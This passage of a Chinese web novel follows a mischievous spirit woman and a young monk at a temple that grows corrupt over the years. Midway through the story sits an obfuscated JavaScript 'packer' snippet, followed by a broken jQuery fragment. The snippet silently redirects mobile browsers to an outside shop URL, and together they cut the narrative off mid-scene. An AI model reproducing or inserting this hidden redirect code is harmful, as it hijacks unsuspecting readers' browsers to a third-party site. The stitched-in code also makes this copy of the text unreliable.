北魏太安年间,锦州城外,北普陀山。
夜幕铺开,寒冬中的树林银装素裹,静谧空寂,妘兮抬头望着明月高悬,等待收集它洒下大地的无数光点。
她百无聊赖地躺在一棵柏树的树枝上假寐,白色衣带从腰间垂下,随着夜风轻轻摆动。不知不觉,她竟睡了过去。突然,树顶上一块积雪落下,砸在她头顶上,她一下子就惊醒了过来。
她睡眼迷蒙地坐起来,恍惚间看到不远处的半空中一道白影掠过,白影背上似乎还驮着什么人飞驰而去。看他们很快就走远了,想来只是路过,她便没有放在心上,掐指一算,时辰马上就要到子时了,于是纵身跳下,站在地上等着。
谁知这一等竟又过了良久,天空中的明月却一直没有动静。她觉得有些奇怪,正思索间,身后的林子里传来了一阵悉悉索索的声音,凝眸看去,发觉来人竟是一名背着包袱的光头小和尚。
妘兮蹙眉,劈头盖脸地质问他道:“你这秃头,深更半夜怎么一个人跑来这里?我在这等了整夜却一无所获,难道这一甲子的帝流浆全都被你给拿去了?”
小和尚看上去很年轻,约莫只有十四五岁的样子,披星带月地赶路本就有些晕头转向,冷不丁在深山老林里撞见这样一名年轻的美貌女子,立刻就将她当成了山下说书人讲的话本子里常常说到的鬼狐妖怪。
虽然这妖女看上去疾言厉色,可小和尚素来胆大,又牙尖嘴利,见妘兮这副厉害模样,他居然也毫不示弱,将背上的包袱往地上一顿,回嘴道:“你这女施主好生没礼貌,小僧只是迷路到这里,根本不知道什么帝流浆!况且你身为女子,深夜不好好在家里睡觉,偏偏钻进这深山老林里,依小僧看,你恐怕是个害人的山精树怪!”
妘兮更加生气,指着他的包袱大声道:“好啊,你做了贼还不承认,那就把包袱解下来给我瞧瞧,看帝流浆是不是就藏在里面?”
“那可不行!”小和尚忙弯腰把包袱捡起来紧紧抱在怀里,怒道:“原来你是想要抢小僧的东西!”
“谁要抢你这个秃头的东西!”妘兮气哼哼地叉起腰来反唇相讥。
“妖女,不许再叫小僧秃头!”
二人你一言我一语地打了半天嘴仗,却谁也说不过谁。
最后,小和尚气咻咻地道:“算了算了,小僧和你说不通,你同我一起回寺里去,找师父来评理好了!”
“可以,现在就走!”妘兮正在气头上,她想也不想便一口答应了下来,上前拉着小和尚的手往前走。
“妖、妖女,请你自重!”小和尚脸一红,赶紧甩开了她。
“嘁!”妘兮翻了个白眼:“那你还不赶紧跟上!”
月明星稀,衣凉如水,幸好妘兮识得下山的路,她带着小和尚拐了几个弯儿,很快就走到了山下。两人又接着走了一阵子,天快蒙蒙亮时,二人才总算走到了青岩寺的大门外面。
妘兮叫小和尚去叩门,小和尚上前一步,一边拍门,一边喊道:“师兄,快开门,我回来了!”
不多时,小和尚就听到门内一阵脚步声越来越近,他于是扭头招呼妘兮道:“喂,妖女,你跟我……欸,人呢?”
他这才发现,那个同他一路斗嘴下山的女子已经消失无踪了。
小和尚疑惑地抓抓自己的光头,百思不得其解。
这时,一位年龄稍长些的僧人开了门,见是小和尚独自一人连夜回了来,惊讶道:“正定,你怎么是一个人赶夜路回来的?这也太危险了!”
他只顾着心疼小和尚一人赶夜路的辛苦,未看出小和尚神情的异样。
小和尚这时回过神来,愣愣道:“哦,没事的,大师兄不必为我担心。”
“唉,没事就好,快进来吧。”中年和尚关切地一手摸摸他的头,另一手接过他的包袱,带他回禅房去休息。
小和尚正定自幼便生活在青岩寺里。尚是襁褓婴儿时,就不知被谁丢在了寺门口,寺里的老僧静观不忍他可怜,将他留了下来,不仅悉心抚养他长大,还为他剃度出家。
青岩寺的住持和尚静念,为人一本正经,老成持重,见正定天资聪颖,虽然性格有些跳脱,却吃苦耐劳,因此也对他多加照拂。
而正定十二岁那年,静观和尚圆寂了,静念更是时常吩咐寺内其余众僧要多关心他,自己偶尔有空时也会亲自教导。
正定回到自己的禅房放下包袱,用凉水草草洗了个脸便打算去补觉。
他疲惫地闭着双眼躺在床上,却久久不能成眠,因为心里一直在想着方才那个妖女。
她明明说好要和自己去找师父评理,怎么会在门口突然消失?正定百思不得其解。
他甚至都还不知道她叫什么名字。
他胡思乱想着,一会儿脸红,一会儿失落,更加睡不着了。
闷闷不乐地辗转反侧,觉得实在难受,他干脆翻身坐了起来。
“喂,秃头——”妘兮的声音从窗外传来。
正定吓得一个激灵,扭头道:“妖、妖女,你怎么在这里!”
“因为,你还没有把帝流浆赔给我呢!”
“……小僧真的没有拿!”
之后几年间,妘兮时常在背人时来找小和尚玩,日子一天天过去,小和尚渐渐长大,二人从一开始见面时的吵嘴斗气,不知不觉变成了互相靠近,互相倾诉。
正定觉得长大很好,但在他身边也逐渐发生了越来越多无法理解的事情。
比如前一阵子,那在个静观师父走后,最疼爱自己的大师兄身上便出了一件怪事。
起初,他只是在遇到附近人家的屋舍失火时,不顾自身安危、毅然冲进火场里背了一名被浓烟呛到昏迷的女子出来。不久后,他便被其他人说无视清规、有违戒律,还被住持师父赶出了寺,从此再不知所踪。
“大师兄明明当时就将那女子放下了,可为何旁人还迟迟放不下呢?”小和尚如是问妘兮道。
妘兮正懒洋洋躺在禅房的房梁上数头发玩。她心不在焉道:“因为你们这些秃头都是笨蛋,非但不懂那些劳什子清规戒律有多无稽,还将它尊若神明。”
“是这样吗?”正定将信将疑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968810|214616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可因为这件事,他的禅心第一次有了些许动摇。
妘兮看出了他的心思,趁机再次问他:“想好了吗,你可要跟我离开这里?”
正定摇摇头,他还有些不舍。
又过了一阵子,正定听说那个平日里最刻苦用功、对佛法参悟也特别精深的四师兄今早天刚亮时突然出外云游去了。
住持告诉大家,是因为四师兄自恃甚高,嫌弃青岩寺过于贫苦清寂,因此才不辞而别。
寺中众僧都对这样的说辞深信不疑,但只有正定知道事实并非如此。
因为就在昨晚,悄悄送妘兮离开时,他无意中撞见了四师兄同住持的争吵,也听清了住持言语间对他的威逼和胁迫。
“四师兄明明一向都谦和有礼,也总是热心为大家讲佛解惑,为何大家好像都不太愿意同他亲近呢?”正定又如是问妘兮道。
妘兮正在随手摆弄着小和尚刚刚抄写好的佛经,不小心被沾了一手的墨迹。
她甩着手嫌弃道:“因为人的心思险于山川,难于知天。小和尚,你也要记得韬光养晦,我平时教你那些东西切不可叫旁人看了去,晓得吗?”
正定的内心愈加迷茫。妘兮再次趁机问他:“那你现在可愿意跟我走了吗?”
正定迟疑了一下后,依旧摇头,他心中还是不舍。
日子流水一般过去,转眼间,正定就满了二十。
这些年下来,他在人前越来越寡言少语,性子也变得孤僻,全然不见小时候的活泼模样,渐渐的,几乎不再有人关注他的一举一动。
前不久,住持静念在夜半时坐化去了。因为走得突然,他并没来得及指定下一任的住持人选。
自那日开始,寺里便起了些风言风语。人心浮动,小和尚对此不闻不问,每日依旧干杂活,做功课。
在这场风波平息之后,那个与前任住持静念最为亲近的三师兄顺理成章地接任了住持。
众僧纷纷贺喜,只有小和尚暗自疑惑,因为他想知道,平日里那个人缘最好的二师兄怎么会突然就销声匿迹。
自从新住持上任之后,寺里一改从前的冷清景象,不仅香火一日比一日旺盛,逢大日子更是香客满门。
香油钱赚得盆满钵满,住持师兄的身材也日渐圆润,就连其余的师兄弟们面上的笑容也愈发灿烂。不过除了正定之外,其余僧众每日用在做功课的时间都越来越少了。
“我们明明是出家人,应该六根清净才对,可为何比起打坐念经,师兄他们却都更喜欢黄白之物?”正定再次如是问妘兮道。
不过这次有些不同,在提出问题时,他心里已隐隐有了答案。
妘兮看着小和尚桌上那本被他翻得卷了边的道德经,满意地笑道:“金玉满堂,莫之能守;富贵而骄,自遗其咎。小和尚,他们都是凡胎浊骨,但你同他们是不一样的。”(出自《老子》)
正定被她甜美的笑容晃花了眼,整个人痴痴愣愣,完全没有听清她在说什么。
显然,有些难以言喻的奇妙情愫已经在他心中生根发芽,肆意生长。